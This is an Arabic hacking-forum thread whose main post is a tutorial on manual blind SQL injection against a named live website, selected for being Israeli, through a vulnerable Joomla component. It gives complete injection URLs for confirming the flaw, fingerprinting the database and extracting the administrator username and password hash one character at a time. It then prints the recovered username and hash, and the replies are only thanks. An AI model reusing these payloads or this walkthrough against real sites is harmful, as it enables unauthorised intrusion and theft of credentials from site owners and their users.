حالة الموضوع:
مغلق
  1. 0ne-Tw0

    0ne-Tw0 Developer

    الأنتساب:
    ‏14 يناير 2013
    المشاركات:
    34
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    [​IMG]

    السلام عليكم ورحمة الله وبركاته

    اللهم لا علم لنا الا ماعلمتنا , اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم.

    بسم الله الرحمن الرحيم

    هذا الدرس الدرس راح نتكلم فيه عن Blind injection

    [​IMG]

    طريقة استغلال هذه الثغرة من خلال تقنية الحقن الأعمى Blind injection

    هذا الدرس صعب نوعا ما وحاولت تبسيطة لأكبر قدر ممكن, ولكنه سهل إذا ركزتم

    وقرأتم الدرس بهدوء وطبقتم جيدا.

    هذا النوع من الثغرات منتشر بكثرة إلا أن استغلاله يتطلب جهدا وصبرا أكثر من ثغرة الحقن الاعتيادية..

    الموقع الذي سنجرب عليه سيكون موقعا اسرائيليا :


    كود:
    http://www.menikot.com
    والثغرة موجودة بالمكون التالي :


    كود:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20
    طريقة اكتشاف الثغرة

    أولا نضيف and+1=1 ثم نرى النتائج :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+1=1
    كما في الصورة الصفحة تظهر عادية, جميل جدا.

    ثانيا نضيف شيء غير منطقي في الاستعلام مثلا and+1=2 ثم نرى النتيجة

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+1=2
    كما في الصورة لم تظهر لنا الصفحة السابقة كاملة, إذن الموقع مصاب بثغرة الحقن الأعمى.

    أحيانا لا تظهر صورة واحدة أو عدة صور أو أحد المقالات أو أحد العناوين… وهذا يدل

    على أن الموقع مصاب بثغرة الحقن الأعمى.

    لمعرفة نسخة قاعدة البيانات :

    نضيف أولا and+substring(@@version,1,1)=4

    أي نطبق الاستعلام التالي :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+substring(@@version,1,1)=4
    ظهرت لنا الصفحة الخاطئة.

    الآن نضيف and+substring(@@version,1,1)=5

    نطبق الاستعلام التالي :


    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+substring(@@version,1,1)=5
    ظهرت لنا الصفحة الصحيحة, إذن يتعلق الأمر بالنسخة الخامسة لقاعدة البيانات.

    لكي لا نكرر الصور في بقية الدرس سنسمي الصورة الأولى الصفحة الصحيحة

    والثانية الصفحة الخاطئة.

    الآن نرى هل تعمل subselect :

    نضيف :

    كود PHP:
    and+(select+1)=1
    إذن نطبق الاستعلام التالي :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1)=1
    ظهرت لنا الصفحة الصحيحة إذن subselect تعمل ومن هنا سنرى هل يمكننا القراءة

    من mysql.user

    نطبق الاستعلام التالي :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1+from+mysql.user+limit+0,1)=1
    لم تظهر لنا الصفحة الصحيحة ولا الخاطئة الاعتيادية, إذن ليس لدينا الصلاحية لقراءة

    mysql.user ولو كانت لدينا هذه الصلاحية لتمكنا من معرفة الباسوورد واليوزر الذي

    يستعمل في قاعدة البيانات وذلك باستعمالنا لخاصية load_file() وخاصية OUTFILE

    لا بأس سنكمل تطبيقنا رغم أن الطريق لا يزال طويلا لإيجاد اليوزر والهاش..

    معرفة الجداول والأعمدة :

    لمعرفة الجداول والأعمدة نستعمل التخمين كالتالي :

    لنفترض أن اسم الجدول الذي يضم اليوزر هو user, نضيف التالي :

    كود PHP:
    and+(select+1+from+user+limit+0,1)=1
    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1+from+user+limit 0,1)=1
    إذا ظهرت الصفحة الصحيحة يعني أن الجدول user موجود وإذا ظهرت غير ذلك يعني

    أنه غير موجود ويجب في هذه الحالة وضع تخمين آخر.

    بالنسبة للأعمدة نطبق نفس الشيء تقريبا بعد معرفة اسم الجدول (لنفترض أن اسم

    الجدول الصحيح هو ( admins ) :

    نضيف التالي :

    كود PHP:
    and+(select+substring(concat(1,password),1,1)+from admins limit+0,1)=1
    إذا ظهرت الصفحة الصحيحة يعني أن العمود password موجود بالجدول admins

    الآن هناك طريقة سهلة غير التخمين لمعرفة الجداول والأعمدة :

    إذا كان نظام إدارة المحتوى CMS الذي يستعمله الموقع معروف لا حاجة للتخمين لأن

    أسماء الجداول تكون معروفة ومتداولة.

    إذا رأينا سورس كود الصفحة الرئيسية للموقع نجد التالي :

    كود PHP:
    **<meta name=/"generator/" content=/"Joomla! 1.5 - Open Source Content Management/" />
    يعني أن نظام إدارة المحتوى هو النظام الشهير Joomla وبالتالي نعرف مسبقا اسم

    الجداول والأعمدة, سنقوم إذن بالاستعلام من jos_users وسنستعمل أسماء الأعمدة

    username و password

    سأقوم لاحقا إن شاء الله بطرح موضوع جديد لأسماء الجداول والأعمدة لأشهر ال CMS

    استخراج اليوزر :

    الاستخراج يتم حرفا بحرف وكل حرف يتطلب تجريب العديد من الاستعلامات..

    سنقارن تصاعديا كل حرف بالكود أسكي المقابل له. بالنسبة للأعضاء الذين لا يعرفون

    الكود أسكي يمكنهم الاطلاع على الرابط التالي :
    [NOTE]ط£ط³ظƒظٹ - ظˆظٹظƒظٹط¨ظٹط¯ظٹط§طŒ ط§ظ„ظ…ظˆط³ظˆط¹ط© ط§ظ„ط*ط±ط©[/NOTE]
    استعلام المقارنة يكون على الشكل التالي :

    كود PHP:
    and+ascii(substring((SELECT+username+from+jos_user s+limit 0,1),1,1))>XX
    حيث XX هو الكود أسكي للحرف المقارن به.

    نطبق الاستعلام الأول :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>40
    الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 40

    نواصل..

    نطبق الاستعلام الثاني :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>41
    الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 41
    نواصل..

    نطبق الاستعلام الثالث :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>42
    الصفحة خاطئة يعني أن الكود أسكي الخاص بالحرف ليس أكبر من 42 (وأكبر من 41 كما جربنا سابقا)

    وبالتالي فالكود أسكي الخاص بالحرف الأول من اليوزر هو 42 أي أن

    الحرف الأول من اليوزر هو *

    وأخيرا وجدنا الحرف الأول

    بالنسبة للحرف الثاني نطبق نفس الشيء إلا أن الاستعلام يتغير فيه الرقم ويكون

    كالتالي :

    كود PHP:
    and+ascii(substring((SELECT+username+from+jos_user 
    s
    +limit 0,1),2,1))>XX
    الاستعلام يكوم صحيحا عند أكبر من 117 :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),2,1))>117
    ويكون خاطئا عند أكبر من 118

    أي أن الكود أسكي الخاص بالحرف الثاني من اليوزر هو 118 وبالتالي الحرف الثاني

    من اليوزر هو v

    وهكذا دواليك نواصل حرفا بحرف إلى أن نحصل على اليوزر كاملا.

    بعد عناء طويل ستجدون أن اليوزر هو *vererd*

    استخراج الهاش :

    بالنسبة ل Joomla CMS الهاش إما MD5 عادي وإما MD5 Salted .

    في حالة كون الهاش not salted الهاش يتكون من أرقام وأحرف وبالتالي سيكون

    مجال الأسكي الذي سنقارن فيه 48-57 ثم 97-102 أما في الحالة الأخرى فيجب

    استعمال مجال أوسع لأن السالت قد يحتوي على أحرف خاصة.

    نطبق الاستعلام الأول :

    كود PHP:
     http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>48
    الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 48

    نواصل..

    نطبق الاستعلام الثاني :

    كود PHP:
    http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>49
    الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 49

    نواصل حتى نصل إلى 54 فلا نحصل على صفحة الخطأ ولما نطبق على 55 نحصل

    عليها يعني أن الحرف الأول من الهاش هو (ascii55) وبالتالي هو 7

    بنفس طريقة استخراج اليوزر نواصل حتى نستخرج الهاش كاملا وهو :

    71eb8f07ba741f366d3502dccd43e696

    كما ترون أن هنا نصل الى نهاية عملية الحقن الأعمى و استخراج معطيات الآدمين و

    الهاش ( الباسوورد ) رغم صعوبة العملية و إلا أن هناك بعض الطرق المبسطة و التي

    تتمثل في الحقن الاعمى بوسائل أوتوماتيكية أي أنه يتم العمل عليها ببرامج

    مخصصة لهذا الهدف مثل برنامج هافيج أو أداة SQLMAP

    غير أنه و رغم صعوبة الحقن الأعمى يدويا فانه يظل الحل الأنسب في بعض حالات

    الاستهداف حيث تعجز البرامج و الأدوات عن تخطي حماية السيرفر
    الى هنا ينتهي درسنا اتمنى ان تكونو قد استفدتم من الدرس
     
  2. Dr.CooBrA_NeT

    Dr.CooBrA_NeT Active DeveloPer

    الأنتساب:
    ‏5 سبتمبر 2011
    المشاركات:
    100
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    الإقامة:
    الرياض
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    مشكور على الموضوع المميز ً#ٌ5oًًًُ.
     
  3. خأإآلد

    خأإآلد DeveloPer Plus

    الأنتساب:
    ‏18 ديسمبر 2011
    المشاركات:
    108
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    18
    الإقامة:
    K.s.A
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    بطل حبيب قلبي ..
    يعطيك العافيه ..
     
  4. or0

    or0 V • I • P

    الأنتساب:
    ‏22 فبراير 2014
    المشاركات:
    392
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    18
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    شكرا لك عزيزي .
     
  5. osaod

    osaod Developer

    الأنتساب:
    ‏19 نوفمبر 2012
    المشاركات:
    41
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    آلله يعططيكك ألعـأأفيةةة ..
     
  6. PrOoHaCk

    PrOoHaCk Developer

    الأنتساب:
    ‏3 يوليو 2012
    المشاركات:
    49
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    وراء الشمس
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    تسسسسسلم أيديك يآ بطل . :{y.}
     
  7. ŦђĘ βě$Ţ

    ŦђĘ βě$Ţ Developer

    الأنتساب:
    ‏4 مارس 2013
    المشاركات:
    98
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    بارك الله بك يالغالي : )
    بالتوفيقـ ..
     
  8. Dr.AnTi_HaCkEr

    Dr.AnTi_HaCkEr DeveloPer Plus

    الأنتساب:
    ‏8 مايو 2012
    المشاركات:
    103
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    وااااااااااصل إبداعك أخي العزيز
     
  9. eltango

    eltango Developer

    الأنتساب:
    ‏9 يونيو 2014
    المشاركات:
    23
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    3
    الجنس:
    ذكر
    الوظيفة:
    مصمم ومكود
    الإقامة:
    مصر ام الدنيا
    رد: المرجع الشامل لستغلال ثغرات الحقن الاعمى Blind injection

    تسلم ايدك على الموضوع الاكثر من رائع
    !:"!:"!:"!:"
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة